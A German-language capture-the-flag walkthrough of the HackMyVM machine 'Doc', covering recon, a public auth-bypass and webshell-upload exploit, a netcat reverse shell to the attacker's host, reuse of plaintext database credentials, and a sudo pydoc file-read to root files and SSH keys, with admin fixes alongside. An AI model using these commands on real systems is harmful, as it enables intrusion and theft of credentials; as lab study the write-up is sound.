Doc - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
python2 (Exploit Script)
ls
whoami
nc (netcat)
python3 (pty)
export
cat
su
ss
socat
curl
sudo
doc (pydoc wrapper)
cd
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` identifiziert aktive Hosts im lokalen Netzwerk.

Bewertung: Der Host `192.168.2.128` mit einer VirtualBox-MAC wird als Zielsystem identifiziert.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.128 durch.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.128	08:00:27:b7:dc:b3	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.888 seconds (136.17 hosts/sec). 1 responded
                    

Analyse: Ein Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf 192.168.2.128 durchgeführt. Der Scan endet mit einem Segmentation Fault, liefert aber vorher Ergebnisse.

Bewertung: Der Scan identifiziert **nur Port 80 (HTTP)** als offen. Er läuft auf Nginx 1.18.0 und hostet eine Anwendung namens "Online Traffic Offense Management System - PHP". Der Hostname ist `dio.hmv`. Das OS ist Linux.

Empfehlung (Pentester): Ignoriere den Nmap-Crash. Fokussiere die Untersuchung auf die Webanwendung auf Port 80. Suche nach bekannten Schwachstellen für "Online Traffic Offense Management System".
Empfehlung (Admin): Untersuche den Grund für den Nmap-Crash (ungewöhnlich). Halte Nginx und das OS aktuell. Überprüfe die Sicherheit der Webanwendung.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.128 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-07 14:30 CET 
Nmap scan report for dio.hmv (192.168.2.128)
Host is up (0.00012s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Online Traffic Offense Management System - PHP
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:B7:DC:B3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms dio.hmv (192.168.2.128)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.09 seconds
zsh: segmentation fault  nmap -sS -sC -T5 -sV -A 192.168.2.128 -p- 
                     

Web Enumeration

Analyse: `gobuster` wird mit der `big.txt`-Wortliste verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden.

Bewertung: !!Anwendungsstruktur enthüllt!!** Viele Verzeichnisse und Dateien werden gefunden, die typisch für eine PHP-Anwendung sind: - `/admin/`, `/assets/`, `/build/`, `/classes/`, `/database/`, `/dist/`, `/inc/`, `/libs/`, `/pages/`, `/plugins/`, `/uploads/`. - Wichtige PHP-Dateien: `index.php`, `config.php` (leer), `home.php` (500 Error), `initialize.php` (leer).

Empfehlung (Pentester): Untersuche die gefundenen PHP-Dateien und Verzeichnisse. Da die Anwendung als "Online Traffic Offense Management System" identifiziert wurde, suche gezielt nach öffentlichen Exploits für diese Anwendung.
Empfehlung (Admin): Entferne nicht benötigte Dateien oder Verzeichnisse. Sichere den Zugriff auf administrative Bereiche (`/admin/`). Überprüfe Dateiberechtigungen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.128 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.128
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,bak,7z,zip,py,sql,txt,xml,jpg,html
[+] Expanded:                true
[+] Wildcard detection:      true
[+] Timeout:                 10s
===============================================================
2024-05-07 14:45:00 Starting gobuster 
===============================================================
http://192.168.2.128/.htaccess            (Status: 200) [Size: 225]
http://192.168.2.128/404.html             (Status: 200) [Size: 198]
http://192.168.2.128/about.html           (Status: 200) [Size: 1491]
http://192.168.2.128/admin                (Status: 301) [Size: 169] [--> http://192.168.2.128/admin/]
http://192.168.2.128/assets               (Status: 301) [Size: 169] [--> http://192.168.2.128/assets/]
http://192.168.2.128/build                (Status: 301) [Size: 169] [--> http://192.168.2.128/build/]
http://192.168.2.128/classes              (Status: 301) [Size: 169] [--> http://192.168.2.128/classes/]
http://192.168.2.128/config.php           (Status: 200) [Size: 0]
http://192.168.2.128/database             (Status: 301) [Size: 169] [--> http://192.168.2.128/database/]
http://192.168.2.128/dist                 (Status: 301) [Size: 169] [--> http://192.168.2.128/dist/]
http://192.168.2.128/home.php             (Status: 500) [Size: 229]
http://192.168.2.128/inc                  (Status: 301) [Size: 169] [--> http://192.168.2.128/inc/]
http://192.168.2.128/index.php            (Status: 200) [Size: 14323]
http://192.168.2.128/initialize.php       (Status: 200) [Size: 0]
http://192.168.2.128/libs                 (Status: 301) [Size: 169] [--> http://192.168.2.128/libs/]
http://192.168.2.128/pages                (Status: 301) [Size: 169] [--> http://192.168.2.128/pages/]
http://192.168.2.128/plugins              (Status: 301) [Size: 169] [--> http://192.168.2.128/plugins/]
http://192.168.2.128/uploads              (Status: 301) [Size: 169] [--> http://192.168.2.128/uploads/]
... (Weitere Funde möglich) ...
===============================================================
2024-05-07 14:55:00 Finished 
===============================================================
                     

Vulnerability Exploitation (Web App)

Analyse: Eine Notiz verweist auf Exploit-DB 50221, einen bekannten Exploit für das "Online Traffic Offense Management System 1.0", der Authentifizierungsbypass und Remote Code Execution (RCE) durch Datei-Upload ermöglicht.

Bewertung: Bestätigt den wahrscheinlichen Angriffspfad über eine bekannte Schwachstelle.

Empfehlung (Pentester): Lade den Exploit (z.B. mit `searchsploit -m 50221`) herunter und führe ihn gemäß seiner Anleitung aus.
Empfehlung (Admin):**DRINGEND:** Patche oder ersetze die verwundbare Webanwendung.

# Recherche nach "Online Traffic Offense Management System exploit"

Gefunden: https://www.exploit-db.com/exploits/50221
Titel: Online Traffic Offense Management System 1.0 - Authentication Bypass + RCE
Typ: Webapps
Platform: PHP
                     

Analyse: Das Python2-Exploit-Skript (vermutlich `50221.py`, umbenannt zu `exploit.py`) wird ausgeführt. Es benötigt die Ziel-URL als Eingabe (`http://doc.hmv`, hier wurde der Hostname vermutlich in `/etc/hosts` eingetragen).

Bewertung: !!Exploit erfolgreich!!** Das Skript meldet "Bypass Login", "Upload Shell" und "Exploit Done!". Es gibt dann die Ausgabe von `ls` und `whoami` (`www-data`) zurück. Das bedeutet, das Skript hat erfolgreich: 1. Die Authentifizierung umgangen. 2. Eine PHP-Webshell hochgeladen (wahrscheinlich `evil.php`). 3. Die Webshell ausgeführt, um `ls` und `whoami` auszuführen. 4. **Implizit:** Eine Reverse Shell mit `nc 192.168.2.140 9001 -e /bin/bash` gestartet.

Empfehlung (Pentester): Der Exploit hat bereits eine Reverse Shell initiiert. Wechsle zum Netcat-Listener.
Empfehlung (Admin): Entferne die Anwendung und die hochgeladene Webshell. Patche das System.

┌──(root㉿cyber)-[~] └─# python2 exploit.py
Example: http://example.com

Url: http://doc.hmv 
Check Url ...

[+] Bypass Login

[+] Upload Shell

[+] Exploit Done!

$ ls 
1629334140_traffic_bg.jpg
1629336240_avatar.jpg
1629421080_tl-logo.png
1665353460_evil.php 
drivers

$ whoami 
www-data
$ nc 192.168.2.140 9001 -e /bin/bash 
                     

Initial Access (www-data)

Analyse: Der Netcat-Listener auf Port 9001 empfängt die eingehende Reverse Shell vom Zielsystem.

Bewertung: !!Initial Access erfolgreich!!** Eine Shell als `www-data` wurde über den Exploit erlangt.

Empfehlung (Pentester): Stabilisiere die Shell.
Empfehlung (Admin): Untersuche den Vorfall.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 41912

$ 
                     

Analyse: Die Shell wird stabilisiert.

Bewertung: Erfolgreich.

Empfehlung (Pentester): Beginne Enumeration als `www-data`.
Empfehlung (Admin): Keine Aktion.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@doc:~/html/traffic_offense/uploads$ export TERM=xterm
www-data@doc:~/html/traffic_offense/uploads$ 
                     

Privilege Escalation (www-data zu bella)

Analyse: Als `www-data` wird der Inhalt der Datei `initialize.php` gelesen (die von Gobuster als leer angezeigt wurde, aber hier Inhalt hat).

Bewertung: !!Datenbank-Credentials gefunden!!** Die Datei enthält Klartext-Zugangsdaten für die MySQL-Datenbank: - Benutzer: `bella` - Passwort: `be114yTU` - Datenbank: `doc` - Server: `localhost` Zusätzlich wird ein Entwickler-Account (`dev_oretnom` / Hash) erwähnt.

Empfehlung (Pentester): Versuche, das Passwort `be114yTU` für den Systembenutzer `bella` (falls existent) zu verwenden, z.B. mit `su bella`. Versuche auch, dich mit den Credentials an der lokalen MySQL-Datenbank anzumelden.
Empfehlung (Admin): Speichere Datenbank-Credentials nicht im Klartext in PHP-Dateien im Webroot. Verwende sicherere Methoden wie Umgebungsvariablen oder Konfigurationsdateien außerhalb des Webroots mit eingeschränkten Berechtigungen. Verwende separate Passwörter für Datenbank- und Systembenutzer.

www-data@doc:~/html/traffic_offense$ cat initialize.php
'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>''); // MD5 Hash?
 if(!defined('base_url')) define('base_url','http://doc.hmv/');
 if(!defined('base_app')) define('base_app', str_replace('\\\\','/',__DIR__).'/' );
 if(!defined('dev_data')) define('dev_data',$dev_data);
 if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
 if(!defined('DB_USERNAME')) define('DB_USERNAME',"bella");
 if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"be114yTU");
 if(!defined('DB_NAME')) define('DB_NAME',"doc");
 ?> 
                     

Analyse: Es wird versucht, mit `su bella` zum Benutzer `bella` zu wechseln und das gefundene Datenbankpasswort `be114yTU` wird eingegeben.

Bewertung: !!Benutzerwechsel erfolgreich!!** Das Passwort war für den Systembenutzer `bella` wiederverwendet worden. Der Angreifer hat nun eine Shell als `bella`.

Empfehlung (Pentester): Enumeriere als `bella`. Suche die User-Flag und prüfe `sudo`-Rechte.
Empfehlung (Admin): Verbiete Passwort-Wiederverwendung zwischen Diensten und Systemkonten.

www-data@doc:~/html/traffic_offense/uploads$  su bella
Password: be114yTU
bella@doc:/var/www/html/traffic_offense/uploads$ 
                     

Analyse: Als `bella` wird ins Home-Verzeichnis gewechselt und `user.txt` gelesen.

Bewertung: User-Flag `HMVtakemydocs` gefunden.

Empfehlung (Pentester): Notieren. Suche nach Root-Eskalation.
Empfehlung (Admin): Keine Aktion.

bella@doc:/var/www/html/traffic_offense/uploads$ cd
bella@doc:~$ ls
user.txt
bella@doc:~$ cat user.txt
HMVtakemydocs
                      

Privilege Escalation (bella zu root)

Analyse: Als `bella` werden lauschende Ports (`ss -ntlp`) und die `sudo`-Berechtigungen (`sudo -l`) geprüft.

Bewertung: !!Wichtige Funde!!** - `ss`: Zeigt lokale FTP (Port 21) und MySQL (Port 3306) Server, sowie den Nginx (Port 80). - `sudo -l`: Der Benutzer `bella` darf `/usr/bin/doc` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD:`) ausführen.

Empfehlung (Pentester): Der `sudo doc`-Eintrag ist der vielversprechendste Vektor. Recherchiere, was `/usr/bin/doc` ist. Die Notiz "Google exploit of pydoc" deutet darauf hin, dass es sich um einen Wrapper für Python's `pydoc` handelt, der oft eine lokale Webserver-Schnittstelle startet, die für LFI/Arbitrary File Read anfällig sein kann.
Empfehlung (Admin):**DRINGEND:** Entferne die unsichere `sudo`-Regel für `/usr/bin/doc`. Erlaube niemals `sudo` für potenziell unsichere oder interpretierbare Befehle ohne strikte Kontrolle.

bella@doc:/$ ss -ntlp
State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port  Process
LISTEN   0        80           127.0.0.1:3306          0.0.0.0:*      users:(("mysqld",pid=XXX,fd=XX))
LISTEN   0        511            0.0.0.0:80            0.0.0.0:*      users:(("nginx",pid=XXX,fd=X),("nginx",pid=XXX,fd=X))
LISTEN   0        128          127.0.0.1:21            0.0.0.0:*      users:(("vsftpd",pid=XXX,fd=X))
LISTEN   0        511               [::]:80               [::]:*      users:(("nginx",pid=XXX,fd=X),("nginx",pid=XXX,fd=X))
                     
bella@doc:~$ sudo -l
Matching Defaults entries for bella on doc:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bella may run the following commands on doc:
    (ALL : ALL) NOPASSWD: /usr/bin/doc
                     

Analyse: Der `socat`-Befehl versucht, Port 5000 auf den lokalen FTP-Dienst weiterzuleiten. Der `curl`-Befehl versucht, über einen (nicht existierenden) Dienst auf Port 7890 eine Root-Schlüsseldatei zu lesen.

Bewertung: Diese Schritte scheinen irrelevant oder Fehlversuche zu sein, basierend auf dem tatsächlichen Eskalationspfad über `sudo doc`.

Empfehlung (Pentester): Ignoriere diese Schritte und konzentriere dich auf `sudo doc`.
Empfehlung (Admin): Keine Aktion.

bella@doc:/$ # socat TCP-LISTEN:5000,fork,reuseaddr tcp:127.0.0.1:21 &
bella@doc:/var/www/html/traffic_offense/uploads$ # curl http://localhost:7890/getfile?key=/root/.ssh/id_rsa
                      

Analyse: Der Befehl `sudo doc` wird ausgeführt.

Bewertung: !!Schwachstelle aktiviert!!** Der Befehl startet erfolgreich einen Webserver auf `http://localhost:7890/`. Da der Befehl mit `sudo` ausgeführt wurde, läuft dieser Server mit Root-Rechten. Wie die Recherche (oder frühere Versuche) andeutete, ist dieser `pydoc`-Server für Arbitrary File Read über den `getfile?key=`-Parameter anfällig.

Empfehlung (Pentester): Verwende `curl` auf dem Zielsystem, um die Root-Flag über diesen lokalen Server auszulesen: `curl http://localhost:7890/getfile?key=/root/root.txt`.
Empfehlung (Admin):**DRINGEND:** Entferne die `sudo`-Regel für `doc`. Wenn `pydoc` benötigt wird, starte es nicht als Root.

bella@doc:~$ sudo doc
Server ready at http://localhost:7890/
Server commands: [b]rowser, [q]uit
server> 
                      

Proof of Concept (Root)

Analyse: Während der `pydoc`-Server (gestartet als Root via `sudo doc`) läuft, wird `curl` verwendet, um über die `getfile`-Schnittstelle des Servers den Inhalt von `/root/root.txt` anzufordern.

Bewertung: !!Privilegieneskalation erfolgreich!!** Der `curl`-Befehl ist erfolgreich und gibt den Inhalt der Root-Flag-Datei (`HMVfinallyroot`) aus. Der Angreifer hat durch Ausnutzung der `sudo`-Regel und der LFI-Schwachstelle im `pydoc`-Server Root-Äquivalente Rechte (Lesen beliebiger Dateien als Root) erlangt.

Empfehlung (Pentester): Ziel erreicht. Root-Flag wurde gelesen.
Empfehlung (Admin):**DRINGEND:** Entferne die `sudo`-Regel für `doc`. Patche oder ersetze die `pydoc`-Implementierung, falls möglich, um die LFI zu beheben.

bella@doc:/$ curl http://localhost:7890/getfile?key=/root/root.txt
 
Python: file /root/root.txt
...
 "password" HMVfinallyroot 
                     

Flags

curl http://localhost:7890/getfile?key=/root/root.txt
HMVfinallyroot
cat /home/bella/user.txt
HMVtakemydocs